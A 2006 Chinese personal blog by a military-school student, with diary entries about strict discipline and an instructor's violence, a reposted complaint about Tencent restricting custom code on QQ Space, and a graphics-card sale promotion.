如果城市所实现的生活不是它自身的一种褒奖,那么为城市的发展形成而付出的全部牺牲就将毫无代价。无论扩大的权力还是有限的物质财富 ,都不能抵偿哪怕是一天丧失了的美、欢乐和亲情的享受。
                                                                                     
                                                                            学员:莫伟琪
                                                                            六队:四区队

真是的队长个卖比的老是叫我写那些某有用的东西大家日巨.

- 作者: 米琪米 2006年03月13日, 星期一 06:35  回复(5) |  引用(1) 加入博采

2006年3月4日
2006年3月3日
昨天没有什么事但给我的心理影响很大的是我的学习状态还不好呢,真是的都很大的程度去努力了,但还是没有办法,老师教的都是很新的东西,我真的无法接受啊,唉........可能是我的理解很差吧,不过我喜欢看东西很慢的,但无法接受一堂课上3-4十页的教学,不过高的效率很工作量就一定能锻炼我们的新时代的心理和思维,不管怎么样是我接受不了时代不是时代淘汰我,以前基础不好的缺点暴露无疑,老天不会再等我了,我难道就不能把时间夺回来吗.晕我说怎么多的疯话干什么啊我就要努力给自己一个展现的舞台,目标工程师.
  我知道很大的程度我是不行的但人不能没有希望,我一定不能失败我自己
2006年3月4日
今天我学会了忍让,知道了辩解是没有,强人是不需要辩解的,辩解是弱者才要干的事.我不能过了就没有事了我不能变得更强的话我就无法对自己个交待.
唉给别人看笑话了怎么办啊男人啊就是这样无所谓啦.事情是这样的这几天吗的学校他吗的疯了老抓内务,结果我的被子给仍到楼下去了晕啊.但我知道不能怪他们骨干,因为是我的错但他们太心黑了骂我当时我真是想上去和他们打架去了无奈啊.晕都无法认真学习了啊.其实学习也很多的因素但像我们这样的没有人身安全的学校真是的不知道怎么去学了.唉...................................
没有办法啊谁叫我们不是骨干呢.其实我真的很怕我的将来没有前途了啊.现在学计算机学很多东西但很多东西我们都不是很懂,因为我们是新手我真的不知道我们的专长是什么.还好我过了英语4级还可以对家人有点交待.
    现在只能说我学会了忍,人一时风平浪静,退一步海阔天空.在学校没有爱情没有友情没有风情,有的是一条一条的规矩,骨干还打人,队长也是帮着骨干,自己也打真是他吗的不像样.唉..................
伟琪伟琪啊要努力啊努力啊不要和那些文明社会的痞子一般见识,我要做一个有素质的人,不能辜负爱我的人和我爱的人

- 作者: 米琪米 2006年03月4日, 星期六 17:39  回复(1) |  引用(1) 加入博采

〖公告〗腾讯封代码是为了钱
刚开始他们删别人发的帖子 可以有效果吗
直接发帖子顶死你们 让更多看见 你们删我们帖子维护自己的名誉
是删不完的 因为我们发帖子的人太多了

腾讯给的解释:由于最近有过多用户使用代码,对我们的服务器造成了巨大的负担。所以,我们决定暂时封闭代码,对空间进行升级。以后不是不可以使用代码,我们打算在商店里放入大量网页特效,大家以后可以去商店购买这些特效。

摆明了是为了钱  看见没 他们的答复
腾讯从来不放过一点争钱机会 凡争钱的点子都搞
钱罐子里出来的   你们一年争的钱还不够多啊
看来要有其他聊天软件和他们竞争了 他们靠垄断
所以 腾讯的客服态度想要好 必须要有公司和他们竞争 他们为了拉客服才会对我们态度好

我觉得他们客服最差   我现在记得我60元3个月网络硬盘不小心订购了 打电话咨询说不能退定
可是网站上有退定功能  连骨头都不退给我 日他们

在我们打造QQ空间同时 腾讯已经也不段的靠我们增加收入
比如种花吧  营养要Q币或黄黄钻才能增加的 意思就是你不加营养
你的花永远不会开 这招够毒的吧 其他就不多了 大家也明白

我同时提醒现在搞QQ秀的和红砖的朋友 忠告 那个真的没什么必要
红砖 完全是一个他们争钱法宝 以前一个东西只要1.5Q现在卖到2.5Q
用红砖买才1.5Q 而且红砖要10元1个月 我不用红砖打者宁愿多花点钱买
一套固定的QQ秀还便宜些 因为可以用6个月一套也就30Q以下 红专难道
我6个月都开了 就是60元贵买东西还要另外出钱 由此可见QQ秀挣钱真黑
而且进来QQ秀里一些物品狂张价格了 `````黑黑黑`

QQ游戏争钱更黑 1Q换1W游戏币 堵游戏币5000一次新象棋那种是赢家就
获得4800游戏币 输家扣5000游戏币 他们在里面争200游戏币
把游戏币换Q币 1Q换1W游戏币 1W5换1Q币 他们里面争了5毛钱 黑吧
但话说QQ蓝砖这东西还可以 酬和了

听说QQ还有个

听说最近QQ秀又出了整蛊功能。如果你肯出Q币,就可以把好友的QQ秀恶搞一番,而且连好友的用户名也会出现“我被整蛊了”的字样,并且6个小时内不能修改。由此看来,腾讯的确是全中国最聪明的公司,这样的主意也可以想出来!

不过广大QQ用户请放心,过不了多久,腾讯就会推出防止整蛊服务,只要你肯出两倍的钱,你的QQ就会安然无恙;如果你出四倍的钱,不仅你的QQ秀不会被整,想搞你的人的QQ秀还会被破坏,并且用户名还会出现“我中招了”的字样,如果他不肯出钱的话,这可是12小时内不可修改的哦。
原帖:http://bb.qq.topzj.com/viewthread.php?tid=87591&fpage=1

不是知道在他们QQ空间里发这个 不知道会怎么呵呵 我怕报复  


着是MSN申请地址
http://login.passport.net/uilogin.srf?lc=2052&id=45930 MSN

下面是示范 大家可以参考一下
http://spaces.msn.com/members/yzl1109
腾讯  他们是为了争钱  人人用代码谁会去买他们的东西

所以封了让你们QQ没个性 逼我们去用Q币买他们设计的东西

卑鄙吧         最可耻 不让我发主题骂人 还删了很多帖子

我相信人人能发主题帖子 的话   因该会有N哦人骂腾讯是垃圾

所以大家可以去看看MSN主页 可以用代码 感觉比QQ空间强多了

大家不用QQ空间 他们没钱争了 就会急了  

- 作者: 米琪米 2006年03月3日, 星期五 12:33  回复(1) |  引用(1) 加入博采

2006年3月2日

 唉................天啊昨天没有写日记真是很遗憾啊,都是因为昨天教官打人啦吼吼.................

真是无耻啊这样的教官也能算是中国人民解放军吗,随便打人真是垃圾吼吼.............

唉张某某啊你也真是的为什么要还手呢,如果当下龟儿子的话有可能也就这样算了,但你真是的,唉..................................丢脸啊,都给打得重伤了,看来要住院一个多月了啦,5555朋友啊,当他的朋友真是难啊,我们想帮但我们好像什么也帮不了啊,人家可是教官啊,我们都不算是人了啊555555,唉..........................希望我能好好得去努力学习避开一些不必要的麻烦啊.可是避得开吗,没有一个人能保证很好的学习状态都担心自己有天会被打,要是以前的话我一定会叫一帮人去打架的但现在长大了,好像我这样做反而很不明智啊,眼铮铮看着自己的朋友给打真是心都凉了以前想军校很好的所以才去的,要不我一定上普通的大学,因为军人这样的神圣的职业居然给一些坯子给玷污了555真是的,虽然我狠一些用武力解决问题的人,但我想现在都什么年代了武力解决问题真是野蛮无耻傻b,一个聪明的人决不会用武力的,只有语言说不了了能力差的人这样的我们是文明人所以不会用武力.要是非常狠他的话就努力干好然后给他背后一刀我想是最明智的办法之一,当面还手真是的傻了吧.所以大家们千万不要来所谓的军校来一个傻b..........

- 作者: 米琪米 2006年03月2日, 星期四 07:06  回复(1) |  引用(1) 加入博采

追杀6600GT!迪兰X800GTO3超值版只要999!
正当nVIDIA 66GT卖的炙手可热的时候,迪兰恒进将其新推出的 X800 GTO3狂降到999元,可以说给nVIDIA当头一棒。下面就让我们来看一看迪兰的X800 GTO3吧!

迪兰,X800GTO3
从包装盒可以看出这款X800 GTO3采用的是12条管线,256bit显存位宽。

迪兰,X800GTO3
迪兰恒进X800 GTO3整款显卡核心被一个超大型的散热器所覆盖,唯一不足的就是散热器没有覆盖到显存。显卡拿在手中分量十足,给人一种大气、沉稳的感觉。

迪兰,X800GTO3
迪兰恒进X800 GTO3使用RV480核心具有12条像素处理管线,支持SmartShader HD、SmoothVision HD、HyperZHD、3Dc、VideoShaderHD等一系列ATI最新的3D及视频处理技术,支持微软DirectX 9.0标准。

迪兰,X800GTO3
显存方面迪兰恒进X800 GTO3使用现代2.8ns显存颗粒,默认频率为700MHz。从编号上来看,这是一款4M×32bit的DDR1 mBGA封装颗粒,8颗的总显存容量、位宽分别为128MB/256bit。

迪兰,X800GTO3
输出接口方面迪兰恒进X800 GTO3采用的是时下流行的VGA+DVI+TV-OUT组合,能够满足了消费者的基本需求。

具非官方消息称迪兰恒进X800 GTO3通过修改可以打开16条管线,喜欢A卡的朋友可不要错过机会哦!
地址:海龙5046
电话:010-82663386

- 作者: 米琪米 2006年03月1日, 星期三 07:03  回复(1) |  引用(1) 加入博采

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- 作者: 米琪米 2006年02月28日, 星期二 13:40  回复(1) |  引用(1) 加入博采

我最喜欢的女影星电视影星

- 作者: 米琪米 2006年02月28日, 星期二 07:07  回复(1) |  引用(1) 加入博采